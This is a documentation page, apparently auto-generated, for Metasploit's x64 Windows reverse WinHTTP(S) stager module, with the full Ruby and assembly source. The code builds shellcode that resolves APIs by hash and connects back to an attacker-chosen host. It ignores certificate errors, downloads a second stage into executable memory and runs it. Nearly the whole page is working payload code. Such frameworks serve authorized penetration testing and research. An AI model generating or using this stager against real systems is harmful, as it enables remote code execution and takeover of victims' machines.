Module: Msf::Payload::Windows::ReverseWinHttp_x64

Includes:
ReverseHttp_x64
Included in:
ReverseWinHttps_x64
Defined in:
lib/msf/core/payload/windows/x64/reverse_winhttp.rb

Overview

Complex payload generation for Windows ARCH_X86 that speak HTTP(S) using WinHTTP

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from ReverseHttp_x64

#asm_generate_ascii_array, #asm_reverse_http, #generate_reverse_http, #generate_small_uri, #generate_uri, #get_custom_headers, #stage_over_connection?, #wfs_delay

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Methods included from Exitfunk_x64

#asm_exitfunk

Methods included from BlockApi_x64

#asm_block_api

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #include_send_uuid, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Instance Method Details

#asm_generate_wchar_array(str) ⇒ Object

Convert a string into a NULL-terminated wchar byte array


110
111
112
113
114
115
116
117
# File 'lib/msf/core/payload/windows/x64/reverse_winhttp.rb', line 110

def asm_generate_wchar_array(str)
  (str.to_s + "\x00").
    unpack("C*").
    pack("v*").
    unpack("C*").
    map{ |c| "0x%.2x" % c }.
    join(",")
end

#asm_reverse_winhttp(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {})

    a customizable set of options

Options Hash (opts):

  • :ssl (Bool)

    Whether or not to enable SSL

  • :url (String)

    The URI to request during staging

  • :host (String)

    The host to connect to

  • :port (Integer)

    The port to connect to

  • :exitfunk (String)

    The exit method to use if there is an error, one of process, thread, or seh

  • :proxy_host (String)

    The optional proxy server host to use

  • :proxy_port (Integer)

    The optional proxy server port to use

  • :proxy_type (String)

    The optional proxy server type, one of HTTP or SOCKS

  • :proxy_user (String)

    The optional proxy server username

  • :proxy_pass (String)

    The optional proxy server password

  • :custom_headers (String)

    The optional collection of custom headers for the payload.

  • :retry_count (Integer)

    The number of times to retry a failed request before giving up

  • :retry_wait (Integer)

    The seconds to wait before retry a new request


136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
# File 'lib/msf/core/payload/windows/x64/reverse_winhttp.rb', line 136

def asm_reverse_winhttp(opts={})

  retry_count       = [opts[:retry_count].to_i, 1].max
  verify_ssl        = nil
  encoded_cert_hash = nil
  encoded_uri       = asm_generate_wchar_array(opts[:uri])
  encoded_host      = asm_generate_wchar_array(opts[:host])

  # this is used by the IE proxy functionality when an autoconfiguration URL
  # is specified. We need the full URL otherwise the call to resolve the proxy
  # for the URL doesn't work.
  full_url = 'http'
  full_url << 's' if opts[:ssl]
  full_url << '://' << opts[:host]
  full_url << ":#{opts[:port]}" if opts[:ssl] && opts[:port] != 443
  full_url << ":#{opts[:port]}" if !opts[:ssl] && opts[:port] != 80
  full_url << opts[:uri]

  encoded_full_url = asm_generate_wchar_array(full_url)
  encoded_uri_index = (full_url.length - opts[:uri].length) * 2

  if opts[:ssl] && opts[:verify_cert_hash]
    verify_ssl = true
    encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
  end

  proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
  proxy_info    = ""

  if proxy_enabled
    if opts[:proxy_type].to_s.downcase == "socks"
      proxy_info << "socks="
    else
      proxy_info << "http://"
    end

    proxy_info << opts[:proxy_host].to_s
    if opts[:proxy_port].to_i > 0
      proxy_info << ":#{opts[:proxy_port]}"
    end

    proxy_info = asm_generate_wchar_array(proxy_info)
  end

  proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])
  proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])

  custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:custom_headers])

  http_open_flags = 0x00000100 # WINHTTP_FLAG_BYPASS_PROXY_CACHE
  secure_flags = (
    0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
    0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID
    0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE
    0x00000100 ) # SECURITY_FLAG_IGNORE_UNKNOWN_CA

  if opts[:ssl]
    http_open_flags |= 0x00800000 # WINHTTP_FLAG_SECURE
  end

  ie_proxy_autodect = (
    0x00000001 | # WINHTTP_AUTO_DETECT_TYPE_DHCP
    0x00000002 ) # WINHTTP_AUTO_DETECT_TYPE_DNS_A

  ie_proxy_flags = (
    0x00000001 | # WINHTTP_AUTOPROXY_AUTO_DETECT
    0x00000002 ) # WINHTTP_AUTOPROXY_CONFIG_URL

  asm = %Q^
      xor rbx, rbx
    load_winhttp:
      push rbx                      ; stack alignment
      mov r14, 'winhttp'
      push r14                      ; Push 'winhttp',0 onto the stack
      mov rcx, rsp                  ; lpFileName (stackpointer)
      mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} ; LoadLibraryA
      call rbp
  ^

  if verify_ssl
    asm << %Q^
    load_crypt32:
      push rbx                      ; stack alignment
      mov r14, 'crypt32'
      push r14                      ; Push 'crypt32',0 onto the stack
      mov rcx, rsp                  ; lpFileName (stackpointer)
      mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} ; LoadLibraryA
      call rbp
    ^
  end

  asm << %Q^
    winhttpopen:
      push rbx                      ; stack alignment
      push rbx                      ; NULL pointer
      mov rcx, rsp                  ; pwszAgent ("")
  ^

  if proxy_enabled
    asm << %Q^
      push 3
      pop rdx                       ; dwAccessType (3=WINHTTP_ACCESS_TYPE_NAMED_PROXY)
      call load_proxy_name
      db #{proxy_info}              ; proxy information
    load_proxy_name:
      pop r8                        ; pwszProxyName (stack pointer)
    ^
  else
    asm << %Q^
      push rbx
      pop rdx                       ; dwAccessType (0=WINHTTP_ACCESS_TYPE_DEFAULT_PROXY)
      xor r8, r8                    ; pwszProxyName (NULL)
    ^
  end

  asm << %Q^
      xor r9, r9                    ; pwszProxyBypass (NULL)
      push rbx                      ; stack alignment
      push rbx                      ; dwFlags (0)
      mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpen')}; WinHttpOpen
      call rbp
  ^

  if opts[:proxy_ie] == true && !proxy_enabled
    asm << %Q^
      mov r12, rax                  ; Session handle is required later for ie proxy
    ^
  end

  asm << %Q^
      call load_server_host
      db #{encoded_host}
    load_server_host:
      pop rdx                       ; pwszServerName
      mov rcx, rax                  ; hSession
      mov r8, #{opts[:port]}        ; nServerPort
      xor r9, r9                    ; dwReserved
      mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpConnect')} ; WinHttpConnect
      call rbp

      call winhttpopenrequest
  ^

  if opts[:proxy_ie] == true && !proxy_enabled
    asm << %Q^
      db #{encoded_full_url}
    ^
  else
    asm << %Q^
      db #{encoded_uri}
    ^
  end

  asm << %Q^
    winhttpopenrequest:
      mov rcx, rax                  ; hConnect
      push rbx
      pop rdx                       ; pwszVerb (NULL=GET)
      pop r8                        ; pwszObjectName (URI)
  ^

  if opts[:proxy_ie] == true && !proxy_enabled
    asm << %Q^
      mov r13, r8                   ; store a copy of the URL for later
      add r8, #{encoded_uri_index}  ; move r8 up to where the URI stars
    ^
  end

  asm << %Q^
      xor r9, r9                    ; pwszVersion (NULL)
      push rbx                      ; stack alignment
      mov rax, #{"0x%.8x" % http_open_flags}  ; dwFlags
      push rax
      push rbx                      ; lppwszAcceptType (NULL)
      push rbx                      ; pwszReferer (NULL)
      mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpenRequest')} ; WinHttpOpenRequest
      call rbp

    prepare:
      mov rsi, rax                  ; Store hConnection in rsi
  ^

  if proxy_enabled && proxy_user
    asm << %Q^
      call load_proxy_user          ; puts proxy_user pointer on stack
      db #{proxy_user}
    load_proxy_user:
      pop r8                        ; lpBuffer (stack pointer)
      mov rcx, rsi                  ; hConnection (connection handle)
      mov rdx, 0x1002               ; (0x1002=WINHTTP_OPTION_PROXY_USERNAME)
      push #{proxy_user.length}     ; dwBufferLength (proxy_user length)
      pop r9
      mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption
      call rbp
    ^
  end

  if proxy_enabled && proxy_pass
    asm << %Q^
      call load_proxy_pass          ; puts proxy_pass pointer on stack
      db #{proxy_pass}
    load_proxy_pass:
      pop r8                        ; lpBuffer (stack pointer)
      mov rcx, rsi                  ; hConnection (connection handle)
      mov rdx, 0x1003               ; (0x1003=WINHTTP_OPTION_PROXY_PASSWORD)
      push #{proxy_pass.length}     ; dwBufferLength (proxy_pass length)
      pop r9
      mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption
      call rbp
    ^
  end

  if opts[:proxy_ie] == true && !proxy_enabled
    asm << %Q^
      ; allocate space for WINHTTP_CURRENT_USER_IE_PROXY_CONFIG, which is
      ; a 32-byte structure
      sub rax, 32
      mov rdi, rsp                  ; save a pointer to this buffer
      mov rcx, rdi                  ; this buffer is also the parameter to the function
      mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetIEProxyConfigForCurrentUser')} ; WinHttpGetIEProxyConfigForCurrentUser
      call rbp

      test eax, eax                 ; skip the rest of the proxy stuff if the call failed
      jz ie_proxy_setup_finish

      ; we don't care about the "auto detect" flag, as it doesn't seem to
      ; impact us at all.

      ; check if there's an auto configuration URL
      mov rax, [rdi+8]
      test eax, eax
      jz ie_proxy_manual

      ; set up the autoproxy structure on the stack and get it ready to pass
      ; into the target function
      mov rcx, rbx
      inc rcx
      shl rcx, 32
      push rcx                      ; dwReserved (0) and fAutoLoginIfChallenged
      push rbx                      ; lpvReserved (NULL)
      push rax                      ; lpszAutoConfigUrl
      mov rax, #{ie_proxy_flags | ie_proxy_autodect << 32} ; dwAutoDetectFlags and dwFlags
      push rax
      mov r8, rsp                   ; put the structure in the parameter list

      ; prepare the proxy info buffer, 32 bytes required
      sub rsp, 32
      mov rdi, rsp                  ; we'll need a pointer to this later
      mov r9, rdi                   ; pass it as the 4th parameter

      ; rest of the parameters
      mov rcx, r12                  ; hSession
      mov rdx, r13                  ; lpcwszUrl

      ; finally make the call
      mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetProxyForUrl')} ; WinHttpGetProxyForUrl
      call rbp

      test eax, eax                 ; skip the rest of the proxy stuff if the call failed
      jz ie_proxy_setup_finish
      jmp set_ie_proxy              ; rdi points to the filled out proxy structure

    ie_proxy_manual:
      mov rax, [rdi+16]             ; check for the manual proxy
      test eax, eax
      jz ie_proxy_setup_finish

      add rdi, 8
      push 3
      pop rax
      mov [rdi], rax                ; set dwAccessType (3=WINHTTP_ACCESS_TYPE_NAMED_PROXY)

      ; fallthrough to set the ie proxy

    set_ie_proxy:
      ; we assume that rdi is going to point to the proxy options
      mov r8, rdi                   ; lpBuffer (proxy options)
      push 24
      pop r9                        ; dwBufferLength (size of proxy options)
      mov rcx, rsi                  ; hConnection (connection handle)
      push 38
      pop rdx                       ; (38=WINHTTP_OPTION_PROXY)
      mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption
      call rbp

    ie_proxy_setup_finish:
    ^
  end

  if retry_count > 1
    asm << %Q^
      push #{retry_count}
      pop rdi

    retryrequest:
    ^
  end

  if opts[:ssl]
    asm << %Q^
    winhttpsetoption_ssl:
      mov rcx, rsi                  ; hRequest (request handle)
      push 31
      pop rdx                       ; dwOption (31=WINHTTP_OPTION_SECURITY_FLAGS)
      push rdx                      ; stack alignment
      push #{"0x%.8x" % secure_flags}  ; flags
      mov r8, rsp                   ; lpBuffer (pointer to flags)
      push 4
      pop r9                        ; dwBufferLength (4 = size of flags)
      mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption
      call rbp

      xor r8, r8                    ; dwHeadersLen (0)
    ^
  end

  if custom_headers
    asm << %Q^
      call get_req_headers          ; lpszHeaders (pointer to the custom headers)
      db #{custom_headers}
    get_req_headers:
      pop rdx                       ; lpszHeaders
      dec r8                        ; dwHeadersLength (assume NULL terminated)
    ^
  else
    asm << %Q^
      push rbx
      pop rdx                       ; lpszHeaders (NULL)
    ^
  end


  asm << %Q^
      mov rcx, rsi                  ; hRequest (request handle)
      xor r9, r9                    ; lpszVersion (NULL)
      push rbx                      ; stack alignment
      push rbx                      ; dwContext (0)
      push rbx                      ; dwTotalLength (0)
      push rbx                      ; dwOptionalLength (0)
      mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')} ; WinHttpSendRequest
      call rbp
      test eax, eax
      jnz handle_response
  ^

  if retry_count > 1
    asm << %Q^
    try_it_again:
      dec rdi
      jz failure
      jmp retryrequest
    ^
  else
    asm << %Q^
      jmp failure
    ^
  end

  if opts[:exitfunk]
    asm << %Q^
    failure:
      call exitfunk
    ^
  else
    asm << %Q^
    failure:
      ; hard-coded to ExitProcess(whatever) for size
      mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
      call rbp                      ; ExitProcess(whatever)
    ^
  end

  asm << %Q^
    handle_response:
      mov rcx, rsi                  ; hRequest
      push rbx
      pop rdx                       ; lpReserved (NULL)
      mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReceiveResponse')} ; WinHttpReceiveResponse
      call rbp
      test eax, eax                 ; make sure the request succeeds
      jz failure
  ^

  if verify_ssl
    asm << %Q^
    ssl_cert_get_context:
      mov rcx, rsi                  ; Request handle (hInternet)
      push 78                       ; WINHTTP_OPTION_SERVER_CERT_CONTEXT
      pop rdx                       ; (dwOption)
      ; Thanks to things that are on the stack from previous calls, we don't need to
      ; worry about adding something to the stack to have space for the cert pointer,
      ; so we won't worry about doing it, it'll save us bytes!
      mov r8, rsp                   ; Stack pointer (lpBuffer)
      mov r14, r8                   ; Back the stack pointer up for later use
      push rbx                      ; 0 for alignment
      push 8                        ; One whole pointer
      mov r9, rsp                   ; Stack pointer (lpdwBufferLength)
      mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpQueryOption')}
      call rbp
      test eax, eax                 ; use eax instead of rax, saves a byte
      jz failure                    ; Bail out if we couldn't get the certificate context

    ssl_cert_get_server_hash:
      mov rcx, [r14]                ; Cert context pointer (pCertContext)
      push 24                       ; sha1 length, rounded to multiple of 8
      mov r9, rsp                   ; Address of length (pcbData)
      mov r15, rsp                  ; Backup address of length
      sub rsp, [r9]                 ; Allocate 20 bytes for the hash output
      mov r8, rsp                   ; 20 byte buffer (pvData)
      mov r14, r8                   ; Back the stack pointer up for later use
      push 3
      pop rdx                       ; CERT_SHA1_HASH_PROP_ID (dwPropId)
      mov r10, #{Rex::Text.block_api_hash('crypt32.dll', 'CertGetCertificateContextProperty')}
      call rbp
      test eax, eax                 ; use eax instead of rax, saves a byte
      jz failure                    ; Bail out if we couldn't get the certificate context

    ssl_cert_start_verify:
      call ssl_cert_compare_hashes
      db #{encoded_cert_hash}
    ssl_cert_compare_hashes:
      pop rax                       ; get the expected hash
      xchg rax, rsi                 ; swap hash and handle for now
      mov rdi, r14                  ; pointer to the retrieved hash
      mov rcx, [r15]                ; number of bytes to compare
      repe cmpsb                    ; do the hash comparison
      jnz failure                   ; Bail out if the result isn't zero
      xchg rax, rsi                 ; swap hash and handle back!

    ; Our certificate hash was valid, hurray!
    ^
  end

  asm << %Q^
    allocate_memory:
      push rbx
      pop rcx                       ; lpAddress (NULL)
      push 0x40
      pop rdx
      mov r9, rdx                   ; flProtect (0x40=PAGE_EXECUTE_READWRITE)
      shl edx, 16                   ; dwSize
      mov r8, 0x1000                ; flAllocationType (0x1000=MEM_COMMIT)
      mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; VirtualAlloc
      call rbp

    download_prep:
      xchg rax, rbx                 ; store the allocated base in rbx
      push rbx                      ; store a copy for later
      push rbx                      ; temp storage for byte count
      mov rdi, rsp                  ; rdi is the &bytesRead

    download_more:
      mov rcx, rsi                  ; hRequest (request handle)
      mov rdx, rbx                  ; lpBuffer (pointer to mem)
      mov r8, 8192                  ; dwNumberOfBytesToRead (8k)
      mov r9, rdi                   ; lpdwNumberOfByteRead (stack pointer)
      mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')} ; WinHttpReadData
      call rbp
      add rsp, 32                   ; clean up reserved space

      test eax, eax                 ; did the download fail?
      jz failure

      mov ax, word ptr [rdi]        ; extract the read byte count
      add rbx, rax                  ; buffer += bytes read

      test eax, eax                 ; are we done?
      jnz download_more             ; keep going
      pop rax                       ; clear up reserved space

    execute_stage:
      ret                           ; return to the stored stage address
  ^

  if opts[:exitfunk]
    asm << asm_exitfunk(opts)
  end

  asm
end

#generate(opts = {}) ⇒ Object

Generate the first stage


32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# File 'lib/msf/core/payload/windows/x64/reverse_winhttp.rb', line 32

def generate(opts={})
  ds = opts[:datastore] || datastore
  conf = {
    ssl:  opts[:ssl] || false,
    host: ds['LHOST'] || '127.127.127.127',
    port: ds['LPORT']
  }

  # Add extra options if we have enough space
  if self.available_space.nil? || required_space <= self.available_space
    conf[:uri]              = luri + generate_uri
    conf[:exitfunk]         = ds['EXITFUNC']
    conf[:verify_cert_hash] = opts[:verify_cert_hash]
    conf[:proxy_host]       = ds['HttpProxyHost']
    conf[:proxy_port]       = ds['HttpProxyPort']
    conf[:proxy_user]       = ds['HttpProxyUser']
    conf[:proxy_pass]       = ds['HttpProxyPass']
    conf[:proxy_type]       = ds['HttpProxyType']
    conf[:retry_count]      = ds['StagerRetryCount']
    conf[:proxy_ie]         = ds['HttpProxyIE']
    conf[:custom_headers]   = get_custom_headers(ds)
  else
    # Otherwise default to small URIs
    conf[:uri]              = luri + generate_small_uri
  end

  generate_reverse_winhttp(conf)
end

#generate_reverse_winhttp(opts = {}) ⇒ Object

Generate and compile the stager


68
69
70
71
72
73
74
75
76
77
78
79
# File 'lib/msf/core/payload/windows/x64/reverse_winhttp.rb', line 68

def generate_reverse_winhttp(opts={})
  combined_asm = %Q^
    cld                 ; Clear the direction flag.
    and rsp, ~0xf       ; Ensure RSP is 16 byte aligned
    call start          ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}
    start:
      pop rbp           ; rbp now contains the block API pointer
    #{asm_reverse_winhttp(opts)}
  ^
  Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end

#initialize(*args) ⇒ Object

Register reverse_winhttp specific options


22
23
24
25
26
27
# File 'lib/msf/core/payload/windows/x64/reverse_winhttp.rb', line 22

def initialize(*args)
  super
  register_advanced_options([
      OptBool.new('HttpProxyIE', 'Enable use of IE proxy settings', default: true, aliases: ['PayloadProxyIE'])
    ], self.class)
end

#required_spaceObject

Determine the maximum amount of space required for the features requested


84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
# File 'lib/msf/core/payload/windows/x64/reverse_winhttp.rb', line 84

def required_space
  # Start with our cached default generated size
  space = cached_size

  # Add 100 bytes for the encoder to have some room
  space += 100

  # Make room for the maximum possible URL length (wchars)
  space += 512 * 2

  # proxy (wchars)
  space += 128 * 2

  # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
  space += 31

  # Custom headers? Ugh, impossible to tell
  space += 512

  # The final estimated size
  space
end

#transport_config(opts = {}) ⇒ Object


61
62
63
# File 'lib/msf/core/payload/windows/x64/reverse_winhttp.rb', line 61

def transport_config(opts={})
  transport_config_reverse_http(opts)
end